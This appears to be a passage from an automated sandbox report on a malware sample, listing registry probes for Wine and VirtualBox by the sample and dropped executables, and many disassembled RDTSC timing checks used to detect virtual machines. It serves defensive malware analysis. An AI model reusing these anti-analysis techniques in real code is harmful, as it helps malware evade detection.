Source: C:\Users\user\1000026002\cee706a53f.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\1000026002\cee706a53f.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\1000026002\cee706a53f.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\1000026002\cee706a53f.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\1000026002\cee706a53f.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69F2E1 second address: 69EB9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov dword ptr [ebp+122D1BA3h], edi 0x00000011 jns 00007F8A2CE89C9Ch 0x00000017 push dword ptr [ebp+122D1689h] 0x0000001d pushad 0x0000001e pushad 0x0000001f xor di, F5C3h 0x00000024 popad 0x00000025 jmp 00007F8A2CE89C9Eh 0x0000002a popad 0x0000002b call dword ptr [ebp+122D2E49h] 0x00000031 pushad 0x00000032 mov dword ptr [ebp+122D199Fh], eax 0x00000038 xor eax, eax 0x0000003a jmp 00007F8A2CE89C9Bh 0x0000003f mov edx, dword ptr [esp+28h] 0x00000043 jno 00007F8A2CE89CA4h 0x00000049 mov dword ptr [ebp+122D3A97h], eax 0x0000004f jmp 00007F8A2CE89CA4h 0x00000054 mov esi, 0000003Ch 0x00000059 stc 0x0000005a add esi, dword ptr [esp+24h] 0x0000005e jmp 00007F8A2CE89CA3h 0x00000063 lodsw 0x00000065 add dword ptr [ebp+122D199Fh], edi 0x0000006b mov dword ptr [ebp+122D199Fh], edi 0x00000071 add eax, dword ptr [esp+24h] 0x00000075 sub dword ptr [ebp+122D199Fh], eax 0x0000007b jmp 00007F8A2CE89C9Ch 0x00000080 mov ebx, dword ptr [esp+24h] 0x00000084 jg 00007F8A2CE89CAEh 0x0000008a jmp 00007F8A2CE89CA8h 0x0000008f push eax 0x00000090 push eax 0x00000091 push edx 0x00000092 push ecx 0x00000093 js 00007F8A2CE89C96h 0x00000099 pop ecx 0x0000009a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 823493 second address: 8234AD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F8A2D3CFEE2h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8234AD second address: 8234C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F8A2CE89C96h 0x0000000a jmp 00007F8A2CE89C9Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8234C1 second address: 8234CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8234CA second address: 823506 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F8A2CE89C96h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F8A2CE89CA9h 0x00000014 jmp 00007F8A2CE89CA4h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 823506 second address: 823554 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8A2D3CFEE3h 0x00000008 jmp 00007F8A2D3CFEE7h 0x0000000d jmp 00007F8A2D3CFEE4h 0x00000012 je 00007F8A2D3CFED6h 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80FD79 second address: 80FD9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jp 00007F8A2CE89C96h 0x0000000f pop eax 0x00000010 jmp 00007F8A2CE89CA1h 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 822B26 second address: 822B2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 822B2A second address: 822B35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 824849 second address: 69EB9F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e pop eax 0x0000000f jmp 00007F8A2D3CFEDEh 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov esi, ecx 0x00000019 push dword ptr [ebp+122D1689h] 0x0000001f movsx ecx, si 0x00000022 call dword ptr [ebp+122D2E49h] 0x00000028 pushad 0x00000029 mov dword ptr [ebp+122D199Fh], eax 0x0000002f xor eax, eax 0x00000031 jmp 00007F8A2D3CFEDBh 0x00000036 mov edx, dword ptr [esp+28h] 0x0000003a jno 00007F8A2D3CFEE4h 0x00000040 mov dword ptr [ebp+122D3A97h], eax 0x00000046 jmp 00007F8A2D3CFEE4h 0x0000004b mov esi, 0000003Ch 0x00000050 stc 0x00000051 add esi, dword ptr [esp+24h] 0x00000055 jmp 00007F8A2D3CFEE3h 0x0000005a lodsw 0x0000005c add dword ptr [ebp+122D199Fh], edi 0x00000062 mov dword ptr [ebp+122D199Fh], edi 0x00000068 add eax, dword ptr [esp+24h] 0x0000006c sub dword ptr [ebp+122D199Fh], eax 0x00000072 jmp 00007F8A2D3CFEDCh 0x00000077 mov ebx, dword ptr [esp+24h] 0x0000007b jg 00007F8A2D3CFEEEh 0x00000081 jmp 00007F8A2D3CFEE8h 0x00000086 push eax 0x00000087 push eax 0x00000088 push edx 0x00000089 push ecx 0x0000008a js 00007F8A2D3CFED6h 0x00000090 pop ecx 0x00000091 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8248AB second address: 8248B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8248B0 second address: 8248B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8248B6 second address: 82493C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jno 00007F8A2CE89CA4h 0x00000010 jmp 00007F8A2CE89CA4h 0x00000015 popad 0x00000016 nop 0x00000017 movzx edi, di 0x0000001a push 00000000h 0x0000001c sub edi, dword ptr [ebp+122D3883h] 0x00000022 call 00007F8A2CE89C99h 0x00000027 jmp 00007F8A2CE89CA3h 0x0000002c push eax 0x0000002d push eax 0x0000002e push ecx 0x0000002f pushad 0x00000030 popad 0x00000031 pop ecx 0x00000032 pop eax 0x00000033 mov eax, dword ptr [esp+04h] 0x00000037 push esi 0x00000038 jmp 00007F8A2CE89CA8h 0x0000003d pop esi 0x0000003e mov eax, dword ptr [eax] 0x00000040 push eax 0x00000041 pushad 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82493C second address: 82494D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 824A50 second address: 824ABD instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8A2CE89C96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e or dword ptr [ebp+122D1F98h], edi 0x00000014 push 00000000h 0x00000016 push eax 0x00000017 mov edx, dword ptr [ebp+122D3A0Fh] 0x0000001d pop edx 0x0000001e call 00007F8A2CE89C99h 0x00000023 jmp 00007F8A2CE89CA9h 0x00000028 push eax 0x00000029 push edx 0x0000002a push edi 0x0000002b jmp 00007F8A2CE89CA3h 0x00000030 pop edi 0x00000031 pop edx 0x00000032 mov eax, dword ptr [esp+04h] 0x00000036 push esi 0x00000037 jc 00007F8A2CE89C98h 0x0000003d push edx 0x0000003e pop edx 0x0000003f pop esi 0x00000040 mov eax, dword ptr [eax] 0x00000042 push eax 0x00000043 push edx 0x00000044 push ebx 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 824ABD second address: 824AC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 824AC2 second address: 824ADC instructions: 0x00000000 rdtsc 0x00000002 jno 00007F8A2CE89C98h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e jng 00007F8A2CE89CA8h 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 824ADC second address: 824AE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 824AE0 second address: 824AE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 824AE4 second address: 824B3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 mov dword ptr [ebp+122D1F42h], esi 0x0000000e push ebx 0x0000000f mov dword ptr [ebp+122D1B08h], ebx 0x00000015 pop edx 0x00000016 popad 0x00000017 pushad 0x00000018 xor ebx, 0FC731FEh 0x0000001e mov si, D058h 0x00000022 popad 0x00000023 push 00000003h 0x00000025 mov dword ptr [ebp+122D1BD8h], ebx 0x0000002b push 00000000h 0x0000002d cld 0x0000002e push 00000003h 0x00000030 mov dword ptr [ebp+122D185Bh], edi 0x00000036 mov ecx, ebx 0x00000038 push 6E10E811h 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F8A2D3CFEE7h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 824B3A second address: 824B3F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 824B3F second address: 824B45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 824B45 second address: 824B73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 add dword ptr [esp], 51EF17EFh 0x0000000e mov ecx, dword ptr [ebp+122D2857h] 0x00000014 lea ebx, dword ptr [ebp+1245973Fh] 0x0000001a sbb ecx, 01096DCBh 0x00000020 xchg eax, ebx 0x00000021 pushad 0x00000022 push edi 0x00000023 pushad 0x00000024 popad 0x00000025 pop edi 0x00000026 push eax 0x00000027 push edx 0x00000028 jg 00007F8A2CE89C96h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 824B73 second address: 824B92 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007F8A2D3CFEE3h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 824C9F second address: 824CA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 824CA3 second address: 824CA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 824CA9 second address: 824CF2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 598B1615h 0x0000000f and edi, dword ptr [ebp+122D388Bh] 0x00000015 lea ebx, dword ptr [ebp+1245974Ah] 0x0000001b push 00000000h 0x0000001d push ebp 0x0000001e call 00007F8A2CE89C98h 0x00000023 pop ebp 0x00000024 mov dword ptr [esp+04h], ebp 0x00000028 add dword ptr [esp+04h], 0000001Ch 0x00000030 inc ebp 0x00000031 push ebp 0x00000032 ret 0x00000033 pop ebp 0x00000034 ret 0x00000035 push eax 0x00000036 js 00007F8A2CE89CA4h 0x0000003c pushad 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 824CF2 second address: 824CF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 814CA2 second address: 814CB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F8A2CE89C96h 0x0000000a popad 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 814CB0 second address: 814CB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 814CB5 second address: 814CC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007F8A2CE89C9Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 844B37 second address: 844B3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 845461 second address: 845494 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jc 00007F8A2CE89C96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 popad 0x00000012 jmp 00007F8A2CE89C9Eh 0x00000017 jmp 00007F8A2CE89C9Dh 0x0000001c popad 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 845494 second address: 845498 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 845498 second address: 84549E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84549E second address: 8454B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8A2D3CFEDBh 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8454B3 second address: 8454BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F8A2CE89C96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8454BD second address: 8454D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F8A2D3CFEE0h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 845775 second address: 845781 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 845781 second address: 845785 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 845785 second address: 84578D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 845BA1 second address: 845BC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8A2D3CFEE9h 0x00000009 jnl 00007F8A2D3CFED6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 845BC4 second address: 845BC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83CC16 second address: 83CC27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop ecx 0x00000007 push esi 0x00000008 pushad 0x00000009 popad 0x0000000a pop esi 0x0000000b popad 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83CC27 second address: 83CC2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 846495 second address: 84649B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 819E95 second address: 819EC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F8A2CE89C96h 0x0000000a popad 0x0000000b jmp 00007F8A2CE89C9Bh 0x00000010 pop edi 0x00000011 pushad 0x00000012 jno 00007F8A2CE89C9Ah 0x00000018 push eax 0x00000019 pushad 0x0000001a popad 0x0000001b pushad 0x0000001c popad 0x0000001d pop eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84C92F second address: 84C935 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84B125 second address: 84B12B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84B12B second address: 84B152 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F8A2D3CFED6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push esi 0x0000000f jmp 00007F8A2D3CFEE4h 0x00000014 pop esi 0x00000015 push esi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8167AE second address: 8167C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8A2CE89CA6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8532CC second address: 8532D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85355D second address: 853563 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 853563 second address: 853597 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F8A2D3CFED6h 0x0000000a popad 0x0000000b push ebx 0x0000000c jmp 00007F8A2D3CFEE5h 0x00000011 pop ebx 0x00000012 jnl 00007F8A2D3CFEDEh 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 853597 second address: 85359B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85359B second address: 8535A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8535A1 second address: 8535B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F8A2CE89C9Ah 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 853C54 second address: 853C61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b pop eax 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 853C61 second address: 853C7B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jo 00007F8A2CE89C96h 0x00000009 js 00007F8A2CE89C96h 0x0000000f pop esi 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push edi 0x00000017 pop edi 0x00000018 push edi 0x00000019 pop edi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 853C7B second address: 853CA5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A2D3CFEE8h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jc 00007F8A2D3CFEDCh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 853CA5 second address: 853CB0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F8A2CE89C96h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 855D2F second address: 855D39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F8A2D3CFED6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 855D39 second address: 855D3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 855DE6 second address: 855DF0 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F8A2D3CFED6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 855DF0 second address: 855E38 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 ja 00007F8A2CE89C96h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xor dword ptr [esp], 7F073F76h 0x00000015 push 00000000h 0x00000017 push ecx 0x00000018 call 00007F8A2CE89C98h 0x0000001d pop ecx 0x0000001e mov dword ptr [esp+04h], ecx 0x00000022 add dword ptr [esp+04h], 00000017h 0x0000002a inc ecx 0x0000002b push ecx 0x0000002c ret 0x0000002d pop ecx 0x0000002e ret 0x0000002f xor dword ptr [ebp+122DB51Ch], edi 0x00000035 push CBBA38B5h 0x0000003a push ecx 0x0000003b push eax 0x0000003c push edx 0x0000003d js 00007F8A2CE89C96h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85633D second address: 856343 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 856DAB second address: 856DB5 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F8A2CE89C96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 856F18 second address: 856F22 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8A2D3CFED6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8573FE second address: 857403 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 857403 second address: 857409 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
